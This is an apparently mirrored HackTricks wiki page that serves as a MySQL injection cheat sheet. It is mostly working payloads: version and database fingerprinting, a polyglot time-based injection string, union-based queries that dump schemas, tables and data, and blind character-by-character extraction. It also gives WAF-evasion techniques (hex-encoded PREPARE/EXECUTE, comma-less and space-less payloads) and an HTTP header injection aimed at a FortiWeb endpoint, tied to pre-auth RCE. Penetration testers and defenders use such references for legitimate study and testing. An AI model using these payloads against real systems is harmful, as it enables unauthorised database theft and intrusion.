mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
215 lines
7.2 KiB
Markdown
215 lines
7.2 KiB
Markdown
# MySQL injection
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
|
||
|
||
## Comments
|
||
|
||
```sql
|
||
-- MYSQL Comment
|
||
# MYSQL Comment
|
||
/* MYSQL Comment */
|
||
/*! MYSQL Special SQL */
|
||
/*!32302 10*/ Comment for MySQL version 3.23.02
|
||
```
|
||
|
||
## Interesting Functions
|
||
|
||
### Confirm Mysql:
|
||
|
||
```
|
||
concat('a','b')
|
||
database()
|
||
version()
|
||
user()
|
||
system_user()
|
||
@@version
|
||
@@datadir
|
||
rand()
|
||
floor(2.9)
|
||
length(1)
|
||
count(1)
|
||
```
|
||
|
||
### Useful functions
|
||
|
||
```sql
|
||
SELECT hex(database())
|
||
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
|
||
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
|
||
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
|
||
SELECT replace(database(),"r","R")
|
||
SELECT substr(database(),1,1)='r'
|
||
SELECT substring(database(),1,1)=0x72
|
||
SELECT ascii(substring(database(),1,1))=114
|
||
SELECT database()=char(114,101,120,116,101,115,116,101,114)
|
||
SELECT group_concat(<COLUMN>) FROM <TABLE>
|
||
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
|
||
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
|
||
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||
```
|
||
|
||
## All injection
|
||
|
||
```sql
|
||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||
```
|
||
|
||
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||
|
||
## Flow
|
||
|
||
Remember that in "modern" versions of **MySQL** you can substitute "_**information_schema.tables**_" for "_**mysql.innodb_table_stats**_**"** (This could be useful to bypass WAFs).
|
||
|
||
```sql
|
||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
|
||
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||
```
|
||
|
||
### **Only 1 value**
|
||
|
||
- `group_concat()`
|
||
- `Limit X,1`
|
||
|
||
### **Blind one by one**
|
||
|
||
- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
|
||
- `mid(version(),X,1)='5'`
|
||
|
||
### **Blind adding**
|
||
|
||
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
||
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
||
- `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
|
||
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
|
||
- `SELECT INSTR('foobarbar', 'fo...')=1`
|
||
|
||
## Detect number of columns
|
||
|
||
Using a simple ORDER
|
||
|
||
```
|
||
order by 1
|
||
order by 2
|
||
order by 3
|
||
...
|
||
order by XXX
|
||
|
||
UniOn SeLect 1
|
||
UniOn SeLect 1,2
|
||
UniOn SeLect 1,2,3
|
||
...
|
||
```
|
||
|
||
## MySQL Union Based
|
||
|
||
```sql
|
||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
|
||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||
```
|
||
|
||
## SSRF
|
||
|
||
**Learn here different options to** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
|
||
|
||
## WAF bypass tricks
|
||
|
||
### Executing queries through Prepared Statements
|
||
|
||
When stacked queries are allowed, it might be possible to bypass WAFs by assigning to a variable the hex representation of the query you want to execute (by using SET), and then use the PREPARE and EXECUTE MySQL statements to ultimately execute the query. Something like this:
|
||
|
||
```
|
||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||
```
|
||
|
||
For more information please refer to [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
||
|
||
### Information_schema alternatives
|
||
|
||
Remember that in "modern" versions of **MySQL** you can substitute _**information_schema.tables**_ for _**mysql.innodb_table_stats**_ or for _**sys.x$schema_flattened_keys**_ or for **sys.schema_table_statistics**
|
||
|
||
### MySQLinjection without COMMAS
|
||
|
||
Select 2 columns without using any comma ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||
|
||
```
|
||
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
||
```
|
||
|
||
### Retrieving values without the column name
|
||
|
||
If at some point you know the name of the table but you don't know the name of the columns inside the table, you can try to find how may columns are there executing something like:
|
||
|
||
```bash
|
||
# When a True is returned, you have found the number of columns
|
||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||
```
|
||
|
||
Supposing there is 2 columns (being the first one the ID) and the other one the flag, you can try to bruteforce the content of the flag trying character by character:
|
||
|
||
```bash
|
||
# When True, you found the correct char and can start ruteforcing the next position
|
||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||
```
|
||
|
||
More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||
|
||
### Injection without SPACES (`/**/` comment trick)
|
||
|
||
Some applications sanitise or parse user input with functions such as `sscanf("%128s", buf)` which **stop at the first space character**.
|
||
Because MySQL treats the sequence `/**/` as a comment *and* as whitespace, it can be used to completely remove normal spaces from the payload while keeping the query syntactically valid.
|
||
|
||
Example time-based blind injection bypassing the space filter:
|
||
|
||
```http
|
||
GET /api/fabric/device/status HTTP/1.1
|
||
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
|
||
```
|
||
|
||
Which the database receives as:
|
||
|
||
```sql
|
||
' OR SLEEP(5)-- -'
|
||
```
|
||
|
||
This is especially handy when:
|
||
|
||
* The controllable buffer is restricted in size (e.g. `%128s`) and spaces would prematurely terminate the input.
|
||
* Injecting through HTTP headers or other fields where normal spaces are stripped or used as separators.
|
||
* Combined with `INTO OUTFILE` primitives to achieve full pre-auth RCE (see the MySQL File RCE section).
|
||
|
||
---
|
||
|
||
### MySQL history
|
||
|
||
You ca see other executions inside the MySQL reading the table: **sys.x$statement_analysis**
|
||
|
||
### Version alternative**s**
|
||
|
||
```
|
||
mysql> select @@innodb_version;
|
||
mysql> select @@version;
|
||
mysql> select version();
|
||
```
|
||
|
||
## Other MYSQL injection guides
|
||
|
||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||
|
||
## References
|
||
|
||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
|
||
|